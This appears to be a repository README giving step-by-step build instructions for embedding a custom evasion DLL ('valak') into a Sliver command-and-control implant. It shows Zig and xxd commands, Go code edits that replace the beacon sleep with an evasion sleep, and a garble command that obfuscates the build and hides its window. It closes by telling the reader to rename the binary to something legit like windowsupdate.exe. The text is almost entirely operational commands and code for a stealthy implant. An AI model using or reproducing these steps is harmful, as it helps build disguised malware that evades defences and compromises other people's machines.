1.3 KiB
1.3 KiB
embed the dll
build the dll first:
cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
this produces evasion/zig-out/bin/valak.dll. convert it to a go byte slice:
xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
or just open go-bridge/embed_dll.go and paste the bytes manually. the file starts with:
var embeddedDLL = []byte{
0x4d, 0x5a, 0x90, 0x00, ...
}
replace the ... with the actual dll bytes.
drop into sliver
copy go-bridge/ into implant/sliver/evasion/valak/
wire it up
in runner.go, add the import:
import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
in Run(), call this at the top:
valak.Bootstrap()
replace the beacon sleep block (around line 294):
// before
select {
case <-errors:
return err
case <-time.After(duration):
case <-shortCircuit:
}
// after
select {
case err := <-errors:
return err
case <-shortCircuit:
default:
valak.EvasionSleep(duration)
}
on shutdown call:
valak.Cleanup()
build the implant
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
rename the binary to something legit like windowsupdate.exe